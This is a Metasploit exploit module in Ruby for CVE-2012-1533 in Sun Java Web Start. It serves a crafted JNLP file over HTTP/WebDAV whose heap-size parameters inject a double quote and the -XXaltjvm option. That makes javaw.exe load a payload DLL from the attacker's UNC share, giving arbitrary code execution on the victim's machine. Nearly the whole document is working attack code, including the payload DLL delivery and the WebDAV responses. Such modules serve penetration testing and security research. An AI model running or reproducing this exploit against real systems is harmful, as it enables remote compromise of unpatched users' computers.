Sun Java Web Start Double Quote Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  #
  # This module acts as an HTTP server
  #
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Sun Java Web Start Double Quote Injection',
      'Description'    => %q{
          This module exploits a flaw in the Web Start component of the Sun Java
        Runtime Environment. Parameters initial-heap-size and max-heap-size in a JNLP
        file can contain a double quote which is not properly sanitized when creating
        the command line for javaw.exe. This allows the injection of the -XXaltjvm
        option to load a jvm.dll from a remote UNC path into the java process. Thus
        an attacker can execute arbitrary code in the context of a browser user.
        This flaw was fixed in Oct. 2012 and affects JRE <= 1.6.35 and <= 1.7.07.

        In order for this module to work, it must be run as root on a server that
        does not serve SMB (In most cases, this means non-Windows hosts). Additionally,
        the target host must have the WebClient service (WebDAV Mini-Redirector) enabled.
        Alternatively, a UNC path containing a jvm.dll can be specified, bypassing
        the Windows limitation for the Metasploit host.
      },
      'Author'         =>
        [
          # NOTE: module is completely based on and almost the same like jducks module for CVE-2012-0500 jva_ws_vmargs
          'Rh0 <rh0[at]z1p.biz>' # discovery and msf module
        ],
      'References'     =>
        [
          [ 'CVE', '2012-1533' ],
          [ 'OSVDB', '86348' ],
          [ 'BID' , '56046'],
          [ 'URL', 'http://www.oracle.com/technetwork/topics/security/javacpuoct2012-1515924.html' ],
          [ 'URL', 'http://pastebin.com/eUucVage ']
        ],
      'Platform'       => 'win',
      'Payload'        =>
        {
          'Space'    => 1024,
          'BadChars' => '',
          'DisableNops' => true,
          'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"
        },
      'Targets'        =>
        [
          [ 'Automatic', { } ],
          [ 'Java Runtime 1.6.31 to 1.6.35 and 1.7.03 to 1.7.07 on Windows x86',
            {
              'Platform' => 'win',
              'Arch' => ARCH_X86
            }
          ],
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => '2012-10-16'
    ))

    register_options(
      [
        OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),
        OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),
        OptString.new('UNCPATH', [ false, 'Override the UNC path to use. (Use with a SMB server)' ])
      ])
  end


  def auto_target(cli, request)
    agent = request.headers['User-Agent']

    ret = nil
    #print_status("Agent: #{agent}")
    # Check for MSIE and/or WebDAV redirector requests
    if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/
      ret = targets[1]
    elsif agent =~ /MSIE (6|7|8)\.0/
      ret = targets[1]
    else
      print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")
    end

    ret
  end


  def on_request_uri(cli, request)

    # For this exploit, this does little besides ensures the user agent is a recognized one..
    mytarget = target
    if target.name == 'Automatic'
      mytarget = auto_target(cli, request)
      if (not mytarget)
        send_not_found(cli)
        return
      end
    end

    # Special case to process OPTIONS for /
    if (request.method == 'OPTIONS' and request.uri == '/')
      process_options(cli, request, mytarget)
      return
    end

    # Discard requests for ico files
    if (request.uri =~ /\.ico$/i)
      send_not_found(cli)
      return
    end

    # If there is no subdirectory in the request, we need to redirect.
    if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)
      if (request.uri == '/')
        subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'
      else
        subdir = request.uri + '/'
      end
      print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")
      send_redirect(cli, subdir)
      return
    else
      share_name = $1
    end

    # dispatch WebDAV requests based on method first
    case request.method
    when 'OPTIONS'
      process_options(cli, request, mytarget)
    when 'PROPFIND'
      process_propfind(cli, request, mytarget)
    when 'GET'
      process_get(cli, request, mytarget, share_name)
    when 'PUT'
      print_status("Sending 404 for PUT #{request.uri} ...")
      send_not_found(cli)
    else
      print_error("Unexpected request method encountered: #{request.method}")
    end

  end

  #
  # GET requests
  #
  def process_get(cli, request, target, share_name)

    print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
    # dispatch based on extension
    if (request.uri =~ /\.dll$/i)
      #
      # DLL requests sent by IE and the WebDav Mini-Redirector
      #
      print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
      # Re-generate the payload
      return if ((p = regenerate_payload(cli)) == nil)
      # Generate a DLL based on the payload
      dll_data = generate_payload_dll({ :code => p.encoded })
      # Send it :)
      send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })
    elsif (request.uri =~ /\.jnlp$/i)
      #
      # Send the jnlp document
      #
      # Prepare the UNC path...
      if (datastore['UNCPATH'])
        unc = datastore['UNCPATH'].dup
      else
        my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
        unc = "\\\\" + my_host + "\\" + share_name
      end

      # NOTE: we ensure there's only a single backslash here since it will get escaped
      if unc[0,2] == "\\\\"
        unc.slice!(0, 1)
      end

      # use initial-heap-size='"' to inject a double quote and max-heap-size=" -XXaltjvm=\\IP\share " to
      # inject a parameter into the command line of javaw.exe
      # codebase, href and application-desc parameters successfully suppress java splash
      jnlp_data = <<-EOS
<?xml version="1.0" encoding="UTF-8"?>
<jnlp version="1" codebase="#{Rex::Text.rand_text_alpha(rand(10)+10)}" href="#{Rex::Text.rand_text_alpha(rand(10)+10)}.jnlp">
<information>
<title>Download</title>
<vendor>#{Rex::Text.rand_text_alpha(rand(10)+10)}</vendor>
<description>#{Rex::Text.rand_text_alpha(rand(10)+10)}</description>
</information>
<resources>
<java version="1.6+" initial-heap-size='"' max-heap-size=" -XXaltjvm=#{unc} " />
</resources>
<application-desc progress-class="#{Rex::Text.rand_text_alpha(rand(10)+10)}" />
</jnlp>
EOS
      print_status("Sending JNLP to #{cli.peerhost}:#{cli.peerport}...")
      send_response(cli, jnlp_data, { 'Content-Type' => 'application/x-java-jnlp-file' })
    else
      print_status("Sending redirect to the JNLP file to #{cli.peerhost}:#{cli.peerport}")
      jnlp_name = Rex::Text.rand_text_alpha(8 + rand(8))
      jnlp_path = get_resource()
      if jnlp_path[-1,1] != '/'
        jnlp_path << '/'
      end
      jnlp_path << request.uri.split('/')[-1] << '/'
      jnlp_path << jnlp_name << ".jnlp"
      send_redirect(cli, jnlp_path, '')
    end

  end

  #
  # OPTIONS requests sent by the WebDav Mini-Redirector
  #
  def process_options(cli, request, target)
    print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
    headers = {
      #'DASL'   => '<DAV:sql>',
      #'DAV'    => '1, 2',
      'Allow'  => 'OPTIONS, GET, PROPFIND',
      'Public' => 'OPTIONS, GET, PROPFIND'
    }
    send_response(cli, '', headers)
  end


  #
  # PROPFIND requests sent by the WebDav Mini-Redirector
  #
  def process_propfind(cli, request, target)
    path = request.uri
    print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")
    body = ''

    if (path =~ /\.dll$/i)
      # Response for the DLL
      print_status("Sending DLL multistatus for #{path} ...")
#<lp1:getcontentlength>45056</lp1:getcontentlength>
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype/>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag>
<lp2:executable>F</lp2:executable>
<D:lockdiscovery/>
<D:getcontenttype>application/octet-stream</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
    elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))
      # Response for anything else (generally just /)
      print_status("Sending directory multistatus for #{path} ...")
      body = %Q|<?xml version="1.0" encoding="utf-8"?>
<D:multistatus xmlns:D="DAV:">
<D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/">
<D:href>#{path}</D:href>
<D:propstat>
<D:prop>
<lp1:resourcetype><D:collection/></lp1:resourcetype>
<lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate>
<lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified>
<lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag>
<D:lockdiscovery/>
<D:getcontenttype>httpd/unix-directory</D:getcontenttype>
</D:prop>
<D:status>HTTP/1.1 200 OK</D:status>
</D:propstat>
</D:response>
</D:multistatus>
|
    else
      print_status("Sending 404 for #{path} ...")
      send_not_found(cli)
      return
    end
    # send the response
    resp = create_response(207, "Multi-Status")
    resp.body = body
    resp['Content-Type'] = 'text/xml'
    cli.send_response(resp)
  end


  #
  # Make sure we're on the right port/path to support WebDAV
  #
  def exploit
    if !datastore['UNCPATH'] && (datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/')
      raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'
    end
    super
  end
end